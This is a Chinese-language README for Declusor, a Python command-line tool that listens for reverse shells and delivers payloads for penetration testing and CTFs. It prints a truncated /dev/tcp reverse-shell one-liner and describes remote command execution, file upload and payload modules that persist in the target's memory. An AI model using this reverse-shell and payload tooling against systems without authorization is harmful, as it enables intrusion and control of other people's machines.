othonhugo/declusor
GitHub: othonhugo/declusor
一款轻量级 Python 远程控制与 payload 投递 CLI 工具,为渗透测试和 CTF 提供反向 shell 管理、命令执行、文件传输等后渗透能力。
Stars: 5 | Forks: 3
# Declusor:远程控制与 Payload 投递客户端
[](LICENSE)

**Declusor** 是一款快速、灵活且模块化的 Python 工具,专为渗透测试人员、CTF 选手和安全专业人员打造。它通过统一的交互式 CLI 简化了 payload 投递流程,并提供可靠的远程控制功能。
其智能命令行界面具备命令和路径自动补全功能,从而提升了操作效率,同时支持远程命令执行、交互式会话、payload 管理和文件传输——所有功能集于一身。

## 功能特性
- **Shell 管理**:建立、维护远程 shell 会话并进行交互。
- **命令执行**:在远程系统上执行任意命令,输出由客户端捕获。
- **交互式 Shell**:开启完整的交互式 shell 会话,以便与远程环境进行无缝交互。
- **文件上传**:将文件从本地机器传输到远程目标。
- **Payload 加载**:从本地文件加载 shell 脚本或其他 payload,并在远程系统上执行。
- **本地命令补全**:具有自定义的命令行补全器,便于导航和输入命令,可自动建议可用命令和本地文件路径。
## 技术架构
Declusor 遵循分层、依赖倒置的架构,包含八个包:
| Package | Layer | Responsibility |
| ------------ | -------------- | --------------------------------------------------------------------------------------------- |
| `interface` | Domain | 抽象契约(`ICommand`, `IConnection`, `IConsole`, `IRouter`, …) |
| `config` | Domain | 设置、枚举(`ClientFile`, `OperationCode`)和异常层级结构 |
| `command` | Application | 命令对象 — `ExecuteCommand`, `ExecuteFile`, `UploadFile`, `LoadPayload`, `LaunchShell` |
| `controller` | Application | 轻量级请求处理器,解析输入并委托给命令 |
| `core` | Infrastructure | 具体的 `Console`, `Router`, `Parser`, 和 `PromptCLI` |
| `connection` | Infrastructure | `ShellSocketProfile` + `ShellSocketConnection` (TCP socket, ACK framing) |
| `util` | Cross-cutting | 编码、文件 I/O、网络、解析、安全和并发辅助工具 |
| `main` | Entry point | `DeclusorService` — 引导、装配和生命周期编排 |
## 快速开始
### 前置条件
- **Python 3.x**:确保你的本地机器上安装了 Python 3。
- **类 Unix 操作系统(目标)**:Declusor 依赖于目标机器上 Linux、macOS 和其他类 Unix 系统中标准存在的一些功能。
### 安装
将 Declusor 仓库克隆到本地机器:
```
git clone https://github.com/othonhugo/declusor.git
cd declusor
chmod 700 ./declusor
```
除标准库外,不需要额外的 Python 包。
### 快速入门
```
# 启动 listener (根据需要替换 IP 和 PORT)
./declusor 127.0.0.1 4444
```
客户端将输出一个 Bash 单行命令。在目标机器上执行该命令以建立 reverse shell。
## 用法
### 启动监听器(Declusor 客户端)
使用指定的 IP 和端口运行脚本:
```
./declusor
```
**示例:**
```
./declusor 127.0.0.1 4444
```
启动监听器后,Declusor 会打印一个 Bash 单行命令。此命令需在目标机器上执行,以建立反向连接回 Declusor 客户端的 reverse shell。
### 建立 Reverse Shell(目标机器)
复制打印的单行命令并在目标机器上运行:
```
( exec 3<> /dev/tcp/127.0.0.1/4444; while [...] done <&3 >&3 2>&3 )
```
### 与目标交互
当 reverse shell 处于活动状态时,Declusor 会显示 `[declusor]` 提示符。
```
[declusor] help
load : Load a payload file from your local system and execute it on the remote system
command : Execute a single command on the remote system.
shell : Initiate an interactive shell session on the remote system.
upload : Upload a file from the local system to the remote system.
execute : Execute a program or script from the local system on the remote system.
help : Display detailed information about available commands or a specific command.
exit : Terminate the session and exit the program.
[declusor] load discovery/dev_tools.sh
DEVELOPMENT TOOLS
-----------------
/usr/bin/nc
/usr/bin/netcat
/usr/bin/gcc
/usr/bin/wget
/usr/bin/curl
```
## 自定义和扩展 Payload
为了充分利用 `declusor`,你可以创建自定义 payload 或修改现有 payload。首先浏览 `data` 目录,其中包含关键子目录:`library` 和 `modules`。
- **`data/library/`**:此文件夹包含在建立连接后立即自动发送到目标的脚本。这些脚本旨在持久存在于目标内存中,有效地允许目标“记住”这些子程序。一旦存储,这些子程序就可以与你的 payload 结合重复使用。
- **`data/modules/`**:此文件夹包含目标按需执行的脚本,并按类别组织。这些脚本的输出会发回给你的服务器(或提示符)。`load` 命令会自动扫描此文件夹以查找可用文件和目录,从而简化将它们整合到你 payload 中的过程。
## 贡献
我们非常鼓励并欢迎贡献!我们优先考虑代码库的清晰性、正确性和模块化。
**贡献领域包括:**
- **新命令处理器**:通过添加新命令扩展 Declusor 的功能(例如,用于特定侦察、权限提升或后渗透任务)。
- **Payload 开发**:为 `data/library/`(持久化子程序)或 `data/modules/`(按需执行)目录创建新脚本。
- **跨平台兼容性**:增强对不同操作系统的支持,特别是针对目标端的单行命令或客户端执行。
- **文档和示例**:改进现有文档,添加更详细的使用示例,或创建教程。
- **Bug 修复和鲁棒性**:识别并修复错误,改进错误处理,或增强网络通信的稳定性。
- **代码重构和清晰度**:提高代码可读性、可维护性,并遵循最佳实践。
- **测试覆盖率**:扩展单元测试和集成测试以确保可靠性。
## 许可证
本项目根据 MIT 许可证授权 - 有关详细信息,请参阅 [LICENSE](LICENSE) 文件。
标签:Awesome, C2客户端, CTF工具, IP 地址批量处理, Payload投递, PE 加载器, Python安全工具, 交互式CLI, 反向Shell, 后渗透利用, 命令执行, 文件传输, 架构设计, 漏洞搜索, 系统管理, 网络信息收集, 网络安全, 脚本加载执行, 自动化运维, 远程命令行, 远程控制工具, 隐私保护